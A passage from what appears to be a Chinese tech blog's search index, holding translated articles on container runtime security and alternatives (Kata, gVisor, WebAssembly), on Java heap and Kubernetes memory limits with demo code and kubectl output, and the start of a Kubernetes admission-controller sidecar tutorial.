nf_tables vulnerability.”。 社区已经在寻求解决这一困境的方法。Ubuntu(自 13.10 起)和 Debian 提供了一个 sysctl 设置 kernel.unprivileged_userns_clone=\u003cbool\u003e 来指定是否允许或禁止创建非特权用户命名空间。然而,他们的补丁并没有合并到上游 Linux 内核中。 相反,上游内核在 Linux v6.1 (2022) 中引入了新的 LSM(Linux 安全模块)钩子 userns_create ,以便 LSM 可以动态决定是否允许或禁止创建用户命名空间。该钩子可从 eBPF (bpf_program__atttach_lsm()) 调用,因此预计将有一个不依赖于 AppArmor 或 SELinux 的细粒度且非特定于发行版的旋钮。然而,eBPF + LSM 的用户空间实用程序尚未成熟,无法为此提供良好的用户体验。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:3:7","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"更多 LSM Landlock LSM 已合并到 Linux v5.13 (2021) 中。Landlock 与 AppArmor 类似,它通过路径(LANDLOCK_ACCESS_FS_EXECUTE、LANDLOCK_ACCESS_FS_READ_FILE 等)限制文件访问,但 Landlock 不需要 root 权限来设置新配置文件。Landlock 也与 OpenBSD 的 promise(2) 非常相似。 Landlock 仍然 不受 OCI Runtime Spec 支持,但我猜它可以包含在 OCI Runtime Spec v1.2 中。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:3:8","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"Kata Containers 正如我在第一部分中提到的,“容器”并不是一个定义明确的术语。任何东西只要能与现有的容器生态系统提供良好的兼容性,就可以称为“容器”。 Kata Containers (2017) 就是这样一种“容器”,实际上并不是狭义上的容器。Kata 容器实际上是虚拟机,但支持 OCI 运行时规范。Kata 容器比 runc 容器安全得多,但是它们在性能方面存在缺陷,并且在不支持嵌套虚拟化的典型非裸机 IaaS 实例上无法正常工作。 Kata Containers 作为一个 containerd 运行时插件,并接收与 runc 容器相同的镜像和运行时配置。它的用户体验与 runc 容器几乎没有区别。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:3:9","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"gVisor gVisor (2018) 是另一个奇特的容器运行时。gVisor 捕获系统调用并在 Linux 兼容的用户模式内核中执行它们以减轻攻击。gVisor 目前具有 三种 捕获系统调用的模式: KVM 模式:很少使用,但是裸机主机的最佳选择 ptrace 模式:最常见的选项,但速度较慢 SIGSYS trap 模式(自 2023 年起):预计最终取代 ptrace 模式 gVisor 已用于 Google 的多个产品中,包括 Google Cloud Run。然而,Google Cloud Run 已于 2023 年从 gVisor 转向 microVM。这意味着 gVisor 的性能和兼容性问题对于他们的业务来说是不可忽视的。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:3:10","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"WebAssembly WebAssembly (WASM) 是一种独立于平台的字节代码格式,最初于 2015 年 为 Web 浏览器设计。WebAssembly 与 Java applet (1995) 有点相似,但它更注重可移植性和安全性。WebAssembly 的一个有趣的方面是它将代码地址空间与数据地址空间分开;没有像 JMP \u003cimmediate\u003e 和 JMP *\u003creg\u003e 这样的指令。它仅支持 跳转到在编译时解析的标签。这种设计减少了任意代码执行错误,尽管它也牺牲了 JIT 将其他字节代码格式编译为 WebAssembly 的可行性。 WebAssembly 作为容器的潜在替代品也受到关注。为了在浏览器之外运行 WebAssembly,WASI(WebAssembly 系统接口)于 2019 年提出,提供低级 API(例如 fd_read()、fd_write()、sock_recv()、sock_send())可用于在其上实现类似 POSIX 的层。containerd 在 2022 年添加了 runWASI 插件,将 WASI 工作负载视为容器。 2023年,WASIX 被提议扩展 WASI 以提供更方便(也有些争议)的功能: 线程:thread_spawn(), thread_join()`, … 进程: proc_fork(), proc_exec(), … 套接字:sock_listen(), sock_connect(), … 最终,这些技术可能会取代很大一部分(但不是 100%)的容器。Docker 的创始人 Solomon Hykes 表示:“如果 WASM+WASI 在 2008 年就存在,我们就不需要创建 Docker 了 ”。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:3:11","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"总结 容器比虚拟机更高效,但安全性往往也更低。人们正在引入许多安全技术来强化容器。(用户命名空间、无根容器、Linux 安全模块……) Docker 的替代品不断涌现(containerd、CRI-O、Podman、nerdctl、Finch 等),但 Docker 并没有消失。 “Non-container” 容器也是趋势。(Kata:基于 VM,gVisor:用户模式内核,runWASI:WebAssembly,…) 下图显示了著名的运行时的概况。 更多内容另请参阅 PPT 的其余部分,了解本文中无法涵盖的其他主题。 文本翻译自: https://medium.com/nttlabs/the-internals-and-the-latest-trends-of-container-runtimes-2023-22aa111d7a93 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:4:0","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"Java 应用程序在 Kubernetes 上棘手的内存管理","date":"2023-04-23","objectID":"/k8s-memory-management-for-java-applications/","tags":["Kubernetes","Java"],"title":"Java 应用程序在 Kubernetes 上棘手的内存管理","uri":"/k8s-memory-management-for-java-applications/"},{"categories":["Kubernetes"],"content":"引言 如何结合使用 JVM Heap 堆和 Kubernetes 内存的 requests 和 limits 并远离麻烦。 在容器环境中运行 Java 应用程序需要了解两者 —— JVM 内存机制和 Kubernetes 内存管理。这两个环境一起工作会产生一个稳定的应用程序,但是,错误配置最多可能导致基础设施超支,最坏情况下可能会导致应用程序不稳定或崩溃。我们将首先仔细研究 JVM 内存的工作原理,然后我们将转向 Kubernetes,最后,我们将把这两个概念放在一起。 ","date":"2023-04-23","objectID":"/k8s-memory-management-for-java-applications/:1:0","tags":["Kubernetes","Java"],"title":"Java 应用程序在 Kubernetes 上棘手的内存管理","uri":"/k8s-memory-management-for-java-applications/"},{"categories":["Kubernetes"],"content":"JVM 内存模型简介 JVM 内存管理是一种高度复杂的机制,多年来通过连续发布不断改进,是 JVM 平台的优势之一。对于本文,我们将只介绍对本主题有用的基础知识。在较高的层次上,JVM 内存由两个空间组成 —— Heap 和 Metaspace。 ","date":"2023-04-23","objectID":"/k8s-memory-management-for-java-applications/:2:0","tags":["Kubernetes","Java"],"title":"Java 应用程序在 Kubernetes 上棘手的内存管理","uri":"/k8s-memory-management-for-java-applications/"},{"categories":["Kubernetes"],"content":"非 Heap 内存 JVM 使用许多内存区域。最值得注意的是 Metaspace。Metaspace 有几个功能。它主要用作方法区,其中存储应用程序的类结构和方法定义,包括标准库。内存池和常量池用于不可变对象,例如字符串,以及类常量。堆栈区域是用于线程执行的后进先出结构,存储原语和对传递给函数的对象的引用。根据 JVM 实现和版本,此空间用途的一些细节可能会有所不同。 我喜欢将 Metaspace 空间视为一个管理区域。这个空间的大小可以从几 MB 到几百 MB 不等,具体取决于代码库及其依赖项的大小,并且在应用程序的整个生命周期中几乎保持不变。默认情况下,此空间未绑定并会根据应用程序需要进行扩展。 Metaspace 是在 Java 8 中引入的,取代了 Permanent Generation,后者存在垃圾回收问题。 其他一些值得一提的非堆内存区域是代码缓存、线程、垃圾回收。更多关于非堆内存参考这里。 ","date":"2023-04-23","objectID":"/k8s-memory-management-for-java-applications/:2:1","tags":["Kubernetes","Java"],"title":"Java 应用程序在 Kubernetes 上棘手的内存管理","uri":"/k8s-memory-management-for-java-applications/"},{"categories":["Kubernetes"],"content":"Heap 堆内存 如果 Metaspace 是管理空间,那么 Heap 就是操作空间。这里存放着所有的实例对象,并且垃圾回收机制在这里最为活跃。该内存的大小因应用程序而异,取决于工作负载的大小 —— 应用程序需要满足单个请求和流量特征所需的内存。大型应用程序通常具有以GB为单位的堆大小。 我们将使用一个示例应用程序用于探索内存机制。源代码在此处。 这个演示应用程序模拟了一个真实世界的场景,在该场景中,为传入请求提供服务的系统会在堆上累积对象,并在请求完成后成为垃圾回收的候选对象。该程序的核心是一个无限循环,通过将大型对象添加到列表并定期清除列表来创建堆上的大型对象。 val list = mutableListOf\u003cByteArray\u003e() generateSequence(0) { it + 1 }.forEach { if (it % (HEAP_TO_FILL / INCREMENTS_IN_MB) == 0) list.clear() list.add(ByteArray(INCREMENTS_IN_MB * BYTES_TO_MB)) } 以下是应用程序的输出。在预设间隔(本例中为350MB堆大小)内,状态会被清除。重要的是要理解,清除状态并不会清空堆 - 这是垃圾收集器内部实现的决定何时将对象从内存中驱逐出去。让我们使用几个堆设置来运行此应用程序,以查看它们对JVM行为的影响。 首先,我们将使用 4 GB 的最大堆大小(由 -Xmx 标志控制)。 ~ java -jar -Xmx4G app/build/libs/app.jar INFO Used Free Total INFO 14.00 MB 36.00 MB 50.00 MB INFO 66.00 MB 16.00 MB 82.00 MB INFO 118.00 MB 436.00 MB 554.00 MB INFO 171.00 MB 383.00 MB 554.00 MB INFO 223.00 MB 331.00 MB 554.00 MB INFO 274.00 MB 280.00 MB 554.00 MB INFO 326.00 MB 228.00 MB 554.00 MB INFO State cleared at ~ 350 MB. INFO Used Free Total INFO 378.00 MB 176.00 MB 554.00 MB INFO 430.00 MB 208.00 MB 638.00 MB INFO 482.00 MB 156.00 MB 638.00 MB INFO 534.00 MB 104.00 MB 638.00 MB INFO 586.00 MB 52.00 MB 638.00 MB INFO 638.00 MB 16.00 MB 654.00 MB INFO 690.00 MB 16.00 MB 706.00 MB INFO State cleared at ~ 350 MB. INFO Used Free Total INFO 742.00 MB 16.00 MB 758.00 MB INFO 794.00 MB 16.00 MB 810.00 MB INFO 846.00 MB 16.00 MB 862.00 MB INFO 899.00 MB 15.00 MB 914.00 MB INFO 951.00 MB 15.00 MB 966.00 MB INFO 1003.00 MB 15.00 MB 1018.00 MB INFO 1055.00 MB 15.00 MB 1070.00 MB ... ... 有趣的是,尽管状态已被清除并准备好进行垃圾回收,但可以看到使用的内存(第一列)仍在增长。为什么会这样呢?由于堆有足够的空间可以扩展,JVM 延迟了通常需要大量 CPU 资源的垃圾回收,并优化为服务主线程。让我们看看不同堆大小如何影响此行为。 ~ java -jar -Xmx380M app/build/libs/app.jar INFO Used Free Total INFO 19.00 MB 357.00 MB 376.00 MB INFO 70.00 MB 306.00 MB 376.00 MB INFO 121.00 MB 255.00 MB 376.00 MB INFO 172.00 MB 204.00 MB 376.00 MB INFO 208.00 MB 168.00 MB 376.00 MB INFO 259.00 MB 117.00 MB 376.00 MB INFO 310.00 MB 66.00 MB 376.00 MB INFO State cleared at ~ 350 MB. INFO Used Free Total INFO 55.00 MB 321.00 MB 376.00 MB INFO 106.00 MB 270.00 MB 376.00 MB INFO 157.00 MB 219.00 MB 376.00 MB INFO 208.00 MB 168.00 MB 376.00 MB INFO 259.00 MB 117.00 MB 376.00 MB INFO 310.00 MB 66.00 MB 376.00 MB INFO 361.00 MB 15.00 MB 376.00 MB INFO State cleared at ~ 350 MB. INFO Used Free Total INFO 55.00 MB 321.00 MB 376.00 MB INFO 106.00 MB 270.00 MB 376.00 MB INFO 157.00 MB 219.00 MB 376.00 MB INFO 208.00 MB 168.00 MB 376.00 MB INFO 259.00 MB 117.00 MB 376.00 MB INFO 310.00 MB 66.00 MB 376.00 MB INFO 361.00 MB 15.00 MB 376.00 MB INFO State cleared at ~ 350 MB. INFO Used Free Total INFO 55.00 MB 321.00 MB 376.00 MB INFO 106.00 MB 270.00 MB 376.00 MB INFO 157.00 MB 219.00 MB 376.00 MB INFO 208.00 MB 168.00 MB 376.00 MB ... ... 在这种情况下,我们分配了刚好足够的堆大小(380 MB)来处理请求。我们可以看到,在这些限制条件下,GC立即启动以避免可怕的内存不足错误。这是 JVM 的承诺 - 它将始终在由于内存不足而失败之前尝试进行垃圾回收。为了完整起见,让我们看一下它的实际效果: ~ java -jar -Xmx150M app/build/libs/app.jar INFO Used Free Total INFO 19.00 MB 133.00 MB 152.00 MB INFO 70.00 MB 82.00 MB 152.00 MB INFO 106.00 MB 46.00 MB 152.00 MB Exception in thread \"main\" ... ... Caused by: java.lang.OutOfMemoryError: Java heap space at com.dansiwiec.HeapDestroyerKt.blowHeap(HeapDestroyer.kt:28) at com.dansiwiec.HeapDestroyerKt.main(HeapDestroyer.kt:18) ... 8 more 对于 150 MB 的最大堆大小,进程无法处理 350MB 的工作负载,并且在堆被填满时失败,但在垃圾收集器尝试挽救这种情况之前不会失败。 我们也来看看 Metaspace 的大小。为此,我们将使用 jstat(为简洁起见省略了输出) ~ jstat -gc 35118 MU 4731.0 输出表明 Metaspace 利用率约为 5 MB。记住 Metaspace 负责存储类定义,作为实验,让我们将流行的 Spring Boot 框架添加到我们的应用程序中。 ~ jstat -gc 34643 MU 28198.6 Metaspace 跃升至近 30 MB,因为类加载器占用的空间要大得多。对于较大的应用程序,此空间占用超过 100 MB 的情况并不罕见。接下来让我们进入 Kubernetes 领域。 ","date":"2023-04-23","objectID":"/k8s-memory-management-for-java-applications/:2:2","tags":["Kubernetes","Java"],"title":"Java 应用程序在 Kubernetes 上棘手的内存管理","uri":"/k8s-memory-management-for-java-applications/"},{"categories":["Kubernetes"],"content":"Kubernetes 内存管理 Kubernetes 内存控制在操作系统级别运行,与管理分配给它的内存的 JVM 形成对比。K8s 内存管理机制的目标是确保工作负载被调度到资源充足的节点上,并将它们保持在一定的限制范围内。 在定义工作负载时,用户有两个参数可以操作 — requests 和 limits。这些是在容器级别定义的,但是,为了简单起见,我们将根据 pod 参数来考虑它,这些参数只是容器设置的总和。 当请求 pod 时,kube-scheduler(控制平面的一个组件)查看资源请求并选择一个具有足够资源的节点来容纳 pod。一旦调度,允许 pod 超过其内存requests(只要节点有空闲内存)但禁止超过其limits。 Kubelet(节点上的容器运行时)监视 pod 的内存利用率,如果超过内存限制,它将重新启动 pod 或在节点资源不足时将其完全从节点中逐出(有关更多详细信息,请参阅有关此主题的官方文档。这会导致臭名昭著的 OOMKilled(内存不足)的 pod 状态。 当 pod 保持在其限制范围内,但超出了节点的可用内存时,会出现一个有趣的场景。这是可能的,因为调度程序会查看 pod 的请求(而不是限制)以将其调度到节点上。在这种情况下,kubelet 会执行一个称为节点压力驱逐的过程。简而言之,这意味着 pod 正在终止,以便回收节点上的资源。根据节点上的资源状况有多糟糕,驱逐可能是软的(允许 pod 优雅地终止)或硬的。此场景如下图所示。 关于驱逐的内部运作,肯定还有很多东西需要了解。有关此复杂过程的更多信息,请点击此处。对于这个故事,我们就此打住,现在看看这两种机制 —— JVM 内存管理和 Kubernetes 是如何协同工作的。 ","date":"2023-04-23","objectID":"/k8s-memory-management-for-java-applications/:3:0","tags":["Kubernetes","Java"],"title":"Java 应用程序在 Kubernetes 上棘手的内存管理","uri":"/k8s-memory-management-for-java-applications/"},{"categories":["Kubernetes"],"content":"JVM 和 Kubernetes Java 10 引入了一个新的 JVM 标志 —— -XX:+UseContainerSupport(默认设置为 true),如果 JVM 在资源有限的容器环境中运行,它允许 JVM 检测可用内存和 CPU。该标志与 -XX:MaxRAMPercentage 一起使用,让我们根据总可用内存的百分比设置最大堆大小。在 Kubernetes 的情况下,容器上的 limits 设置被用作此计算的基础。例如 —— 如果 pod 具有 2GB 的限制,并且将 MaxRAMPercentage 标志设置为 75%,则结果将是 1500MB 的最大堆大小。 这需要一些技巧,因为正如我们之前看到的,Java 应用程序的总体内存占用量高于堆(还有 Metaspace 、线程、垃圾回收、APM 代理等)。这意味着,需要在最大堆空间、非堆内存使用量和 pod 限制之间取得平衡。具体来说,前两个的总和不能超过最后一个,因为它会导致 OOMKilled(参见上一节)。 为了观察这两种机制的作用,我们将使用相同的示例项目,但这次我们将把它部署在(本地)Kubernetes 集群上。为了在 Kubernetes 上部署应用程序,我们将其打包为一个 Pod: apiVersion: v1 kind: Pod metadata: name: heapkiller spec: containers: - name: heapkiller image: heapkiller imagePullPolicy: Never resources: requests: memory: \"500Mi\" cpu: \"500m\" limits: memory: \"500Mi\" cpu: \"500m\" env: - name: JAVA_TOOL_OPTIONS value: '-XX:MaxRAMPercentage=70.0' 快速复习第一部分 —— 我们确定应用程序需要至少 380MB的堆内存才能正常运行。 ","date":"2023-04-23","objectID":"/k8s-memory-management-for-java-applications/:4:0","tags":["Kubernetes","Java"],"title":"Java 应用程序在 Kubernetes 上棘手的内存管理","uri":"/k8s-memory-management-for-java-applications/"},{"categories":["Kubernetes"],"content":"场景 1 — Java Out Of Memory 错误 让我们首先了解我们可以操作的参数。它们是 — pod 内存的 requests 和 limits,以及 Java 的最大堆大小,在我们的例子中由 MaxRAMPercentage 标志控制。 在第一种情况下,我们将总内存的 70% 分配给堆。pod 请求和限制都设置为 500MB,这导致最大堆为 350MB(500MB 的 70%)。 我们执行 kubectl apply -f pod.yaml 部署 pod ,然后用 kubectl get logs -f pod/heapkiller 观察日志。应用程序启动后不久,我们会看到以下输出: INFO Started HeapDestroyerKt in 5.599 seconds (JVM running for 6.912) INFO Used Free Total INFO 17.00 MB 5.00 MB 22.00 MB ... INFO 260.00 MB 78.00 MB 338.00 MB ... Exception in thread \"main\" java.lang.reflect.InvocationTargetException Caused by: java.lang.OutOfMemoryError: Java heap space 如果我们执行 kubectl describe pod/heapkiller 拉出 pod 详细信息,我们将找到以下信息: Containers: heapkiller: .... State: Waiting Reason: CrashLoopBackOff Last State: Terminated Reason: Error Exit Code: 1 ... Events: Type Reason Age From Message ---- ------ ---- ---- ------- ... Warning BackOff 7s (x7 over 89s) kubelet Back-off restarting failed container 简而言之,这意味着 pod 以状态码 1 退出(Java Out Of Memory 的退出码),Kubernetes 将继续使用标准退避策略重新启动它(以指数方式增加重新启动之间的暂停时间)。下图描述了这种情况。 这种情况下的关键要点是 —— 如果 Java 因 OutOfMemory 错误而失败,您将在 pod 日志中看到它👌。 ","date":"2023-04-23","objectID":"/k8s-memory-management-for-java-applications/:4:1","tags":["Kubernetes","Java"],"title":"Java 应用程序在 Kubernetes 上棘手的内存管理","uri":"/k8s-memory-management-for-java-applications/"},{"categories":["Kubernetes"],"content":"场景 2 — Pod 超出内存 limit 限制 为了实现这个场景,我们的 Java 应用程序需要更多内存。我们将 MaxRAMPercentage 从 70% 增加到 90%,看看会发生什么。我们按照与之前相同的步骤并查看日志。该应用程序运行良好了一段时间: ... ... INFO 323.00 MB 83.00 MB 406.00 MB INFO 333.00 MB 73.00 MB 406.00 MB 然后 …… 噗。没有更多的日志。我们运行与之前相同的 describe 命令以获取有关 pod 状态的详细信息。 Containers: heapkiller: State: Waiting Reason: CrashLoopBackOff Last State: Terminated Reason: OOMKilled Exit Code: 137 Events: Type Reason Age From Message ---- ------ ---- ---- ------ ... ... Warning BackOff 6s (x7 over 107s) kubelet Back-off restarting failed container 乍看之下,这与之前的场景类似 —— pod crash,现在处于 CrashLoopBackOff(Kubernetes 一直在重启),但实际上却大不相同。之前,pod 中的进程退出(JVM 因内存不足错误而崩溃),在这种情况下,是 Kubernetes 杀死了 pod。该 OOMKill 状态表示 Kubernetes 已停止 pod,因为它已超出其分配的内存限制。这怎么可能? 通过将 90% 的可用内存分配给堆,我们假设其他所有内容都适合剩余的 10% (50MB),而对于我们的应用程序,情况并非如此,这导致内存占用超过 500MB 限制。下图展示了超出 pod 内存限制的场景。 要点 —— OOMKilled 在 pod 的状态中查找。 ","date":"2023-04-23","objectID":"/k8s-memory-management-for-java-applications/:4:2","tags":["Kubernetes","Java"],"title":"Java 应用程序在 Kubernetes 上棘手的内存管理","uri":"/k8s-memory-management-for-java-applications/"},{"categories":["Kubernetes"],"content":"场景 3 — Pod 超出节点的可用内存 最后一种不太常见的故障情况是 pod 驱逐。在这种情况下 — 内存request和limit是不同的。Kubernetes 根据request参数而不是limit参数在节点上调度 pod。如果一个节点满足请求,kube-scheduler将选择它,而不管节点满足限制的能力如何。在我们将 pod 调度到节点上之前,让我们先看一下该节点的一些详细信息: ~ kubectl describe node/docker-desktop Allocatable: cpu: 4 memory: 1933496Ki Allocated resources: (Total limits may be over 100 percent, i.e., overcommitted.) Resource Requests Limits -------- -------- ------ cpu 850m (21%) 0 (0%) memory 240Mi (12%) 340Mi (18%) 我们可以看到该节点有大约 2GB 的可分配内存,并且已经占用了大约 240MB(由kube-system pod,例如etcd和coredns)。 对于这种情况,我们调整了 pod 的参数 —— request: 500Mi(未更改),limit: 2500Mi 我们重新配置应用程序以将堆填充到 2500MB(之前为 350MB)。当 pod 被调度到节点上时,我们可以在节点描述中看到这种分配: Allocated resources: (Total limits may be over 100 percent, i.e., overcommitted.) Resource Requests Limits -------- -------- ------ cpu 1350m (33%) 500m (12%) memory 740Mi (39%) 2840Mi (150%) 当 pod 到达节点的可用内存时,它会被杀死,我们会在 pod 的描述中看到以下详细信息: ~ kubectl describe pod/heapkiller Status: Failed Reason: Evicted Message: The node was low on resource: memory. Containers: heapkiller: State: Terminated Reason: ContainerStatusUnknown Message: The container could not be located when the pod was terminated Exit Code: 137 Reason: OOMKilled 这表明由于节点内存不足,pod 被逐出。我们可以在节点描述中看到更多细节: ~ kubectl describe node/docker-desktop Events: Type Reason Age From Message ---- ------ ---- ---- ------- Warning SystemOOM 1s kubelet System OOM encountered, victim process: java, pid: 67144 此时,CrashBackoffLoop 开始,pod 不断重启。下图描述了这种情况。 关键要点 —— 在 pod 的状态中查找 Evicted 以及通知节点内存不足的事件。 ","date":"2023-04-23","objectID":"/k8s-memory-management-for-java-applications/:4:3","tags":["Kubernetes","Java"],"title":"Java 应用程序在 Kubernetes 上棘手的内存管理","uri":"/k8s-memory-management-for-java-applications/"},{"categories":["Kubernetes"],"content":"场景 4 — 参数配置良好,应用程序运行良好 最后一个场景显示应用程序在正确调整的参数下正常运行。为此,我们将pod 的request和 limit 都设置为 500MB,将 -XX:MaxRAMPercentage 设置为 80%。 让我们收集一些统计数据,以了解节点级别和更深层次的 Pod 中正在发生的情况。 ~ kubectl describe node/docker-desktop Allocated resources: (Total limits may be over 100 percent, i.e., overcommitted.) Resource Requests Limits -------- -------- ------ cpu 1350m (33%) 500m (12%) memory 740Mi (39%) 840Mi (44%) 节点看起来很健康,有空闲资源👌。让我们看看 pod 的内部。 # Run from within the container ~ cat /sys/fs/cgroup/memory.current 523747328 这显示了容器的当前内存使用情况。那是 499MB,就在边缘。让我们看看是什么占用了这段内存: # Run from within the container ~ ps -o pid,rss,command ax PID RSS COMMAND 1 501652 java -XX:NativeMemoryTracking=summary -jar /app.jar 36 472 /bin/sh 55 1348 ps -o pid,rss,command ax RSS,*Resident Set Size,*是对正在占用的内存进程的一个很好的估计。上面显示 490MB(501652 bytes)被 Java 进程占用。让我们再剥离一层,看看 JVM 的内存分配。我们传递给 Java 进程的标志 -XX:NativeMemoryTracking 允许我们收集有关 Java 内存空间的详细运行时统计信息。 ~ jcmd 1 VM.native_memory summary Total: reserved=1824336KB, committed=480300KB - Java Heap (reserved=409600KB, committed=409600KB) (mmap: reserved=409600KB, committed=409600KB) - Class (reserved=1049289KB, committed=4297KB) (classes #6760) ( instance classes #6258, array classes #502) (malloc=713KB #15321) (mmap: reserved=1048576KB, committed=3584KB) ( Metadata: ) ( reserved=32768KB, committed=24896KB) ( used=24681KB) ( waste=215KB =0.86%) ( Class space:) ( reserved=1048576KB, committed=3584KB) ( used=3457KB) ( waste=127KB =3.55%) - Thread (reserved=59475KB, committed=2571KB) (thread #29) (stack: reserved=59392KB, committed=2488KB) (malloc=51KB #178) (arena=32KB #56) - Code (reserved=248531KB, committed=14327KB) (malloc=800KB #4785) (mmap: reserved=247688KB, committed=13484KB) (arena=43KB #45) - GC (reserved=1365KB, committed=1365KB) (malloc=25KB #83) (mmap: reserved=1340KB, committed=1340KB) - Compiler (reserved=204KB, committed=204KB) (malloc=39KB #316) (arena=165KB #5) - Internal (reserved=283KB, committed=283KB) (malloc=247KB #5209) (mmap: reserved=36KB, committed=36KB) - Other (reserved=26KB, committed=26KB) (malloc=26KB #3) - Symbol (reserved=6918KB, committed=6918KB) (malloc=6206KB #163986) (arena=712KB #1) - Native Memory Tracking (reserved=3018KB, committed=3018KB) (malloc=6KB #92) (tracking overhead=3012KB) - Shared class space (reserved=12288KB, committed=12224KB) (mmap: reserved=12288KB, committed=12224KB) - Arena Chunk (reserved=176KB, committed=176KB) (malloc=176KB) - Logging (reserved=5KB, committed=5KB) (malloc=5KB #219) - Arguments (reserved=1KB, committed=1KB) (malloc=1KB #53) - Module (reserved=229KB, committed=229KB) (malloc=229KB #1710) - Safepoint (reserved=8KB, committed=8KB) (mmap: reserved=8KB, committed=8KB) - Synchronization (reserved=48KB, committed=48KB) (malloc=48KB #574) - Serviceability (reserved=1KB, committed=1KB) (malloc=1KB #14) - Metaspace (reserved=32870KB, committed=24998KB) (malloc=102KB #52) (mmap: reserved=32768KB, committed=24896KB) - String Deduplication (reserved=1KB, committed=1KB) (malloc=1KB #8) 这可能是不言而喻的 —— 这个场景仅用于说明目的。在现实生活中的应用程序中,我不建议使用如此少的资源进行操作。您所感到舒适的程度将取决于您可观察性实践的成熟程度(换句话说——您多快注意到有问题),工作负载的重要性以及其他因素,例如故障转移。 ","date":"2023-04-23","objectID":"/k8s-memory-management-for-java-applications/:4:4","tags":["Kubernetes","Java"],"title":"Java 应用程序在 Kubernetes 上棘手的内存管理","uri":"/k8s-memory-management-for-java-applications/"},{"categories":["Kubernetes"],"content":"结语 感谢您坚持阅读这篇长文章!我想提供一些建议,帮助您远离麻烦: 设置内存的 request 和 limit 一样,这样你就可以避免由于节点资源不足而导致 pod 被驱逐(缺点就是会导致节点资源利用率降低)。 仅在出现 Java OutOfMemory 错误时增加 pod 的内存限制。如果发生 OOMKilled 崩溃,请将更多内存留给非堆使用。 将最大和初始堆大小设置为相同的值。这样,您将在堆分配增加的情况下防止性能损失,并且如果堆百分比/非堆内存/pod 限制错误,您将“快速失败”。有关此建议的更多信息,请点击此处。 Kubernetes 资源管理和 JVM 内存区域的主题很深,本文只是浅尝辄止。以下是另外一些参考资料: https://learnk8s.io/setting-cpu-memory-limits-requests https://srvaroa.github.io/jvm/kubernetes/memory/docker/oomkiller/2019/05/29/k8s-and-java.html https://home.robusta.dev/blog/kubernetes-memory-limit https://forums.oracle.com/ords/r/apexds/community/q?question=best-practices-java-memory-arguments-for-containers-7408 文本翻译自: https://danoncoding.com/tricky-kubernetes-memory-management-for-java-applications-d2f88dd4e9f6 ","date":"2023-04-23","objectID":"/k8s-memory-management-for-java-applications/:5:0","tags":["Kubernetes","Java"],"title":"Java 应用程序在 Kubernetes 上棘手的内存管理","uri":"/k8s-memory-management-for-java-applications/"},{"categories":["Kubernetes"],"content":"Kubernetes Admission Controller 简介 - 注入 sidacar 示例","date":"2023-04-16","objectID":"/k8s-admission-controller-sidacar-example/","tags":["Kubernetes"],"title":"Kubernetes Admission Controller 简介 - 注入 sidacar 示例","uri":"/k8s-admission-controller-sidacar-example/"},{"categories":["Kubernetes"],"content":"Admission Controller Kubernetes Admission Controller(准入控制器)是什么? 如下图所示: 当我们向 k8s api-server 提交了请求之后,需要经过认证鉴权、mutation admission、validation 校验等一系列过程,最后才会将资源对象持久化到 etcd 中(其它组件诸如 controller 或 scheduler 等操作的也是持久化之后的对象)。而所谓的 Kubernetes Admission Controller 其实就是在这个过程中所提供的 webhook 机制,让用户能够在资源对象被持久化之前任意地修改资源对象并进行自定义的校验。 使用 Kubernetes Admission Controller ,你可以: 安全性:强制实施整个命名空间或集群范围内的安全规范。例如,禁止容器以root身份运行或确保容器的根文件系统始终以只读方式挂载;只允许从企业已知的特定注册中心拉取镜像,拒绝未知的镜像源;拒绝不符合安全标准的部署。 治理:强制遵守某些实践,例如具有良好的标签、注释、资源限制或其他设置。一些常见的场景包括:在不同的对象上强制执行标签验证,以确保各种对象使用适当的标签,例如将每个对象分配给团队或项目,或指定应用程序标签的每个部署;自动向对象添加注释。 配置管理:验证集群中对象的配置,并防止任何明显的错误配置影响到您的集群。准入控制器可以用于检测和修复部署了没有语义标签的镜像,例如:自动添加资源限制或验证资源限制;确保向Pod添加合理的标签;确保在生产部署的镜像不使用 latest tag 或带有 -dev 后缀的 tag。 Admission Controller(准入控制器)提供了两种 webhook: Mutation admission webhook:修改资源对象 Validation admission webhook:校验资源对象 所谓的 webhook 其实就是你需要部署一个 HTTPS Server ,然后 k8s 会将 admission 的请求发送给你的 server,当然你的 server 需要按照约定格式返回响应。 使用 Kubernetes Admission Controller,你需要: 确保 k8s 的 api-server 开启 admission plugins。 准备好 TLS/SSL 证书,用于 HTTPS,可以是自签的。 构建自己的 HTTPS server,实现处理逻辑。 配置 MutatingWebhookConfiguration 或者 ValidatingWebhookConfiguration,你得告诉 k8s 怎么跟你的 server 通信。 ","date":"2023-04-16","objectID":"/k8s-admission-controller-sidacar-example/:1:0","tags":["Kubernetes"],"title":"Kubernetes Admission Controller 简介 - 注入 sidacar 示例","uri":"/k8s-admission-controller-sidacar-example/"},{"categories":["Kubernetes"],"content":"注入 sidacar 示例 接下来,我们来实现一个最简单的为 pod 注入 sidacar 的示例。 ","date":"2023-04-16","objectID":"/k8s-admission-controller-sidacar-example/:2:0","tags":["Kubernetes"],"title":"Kubernetes Admission Controller 简介 - 注入 sidacar 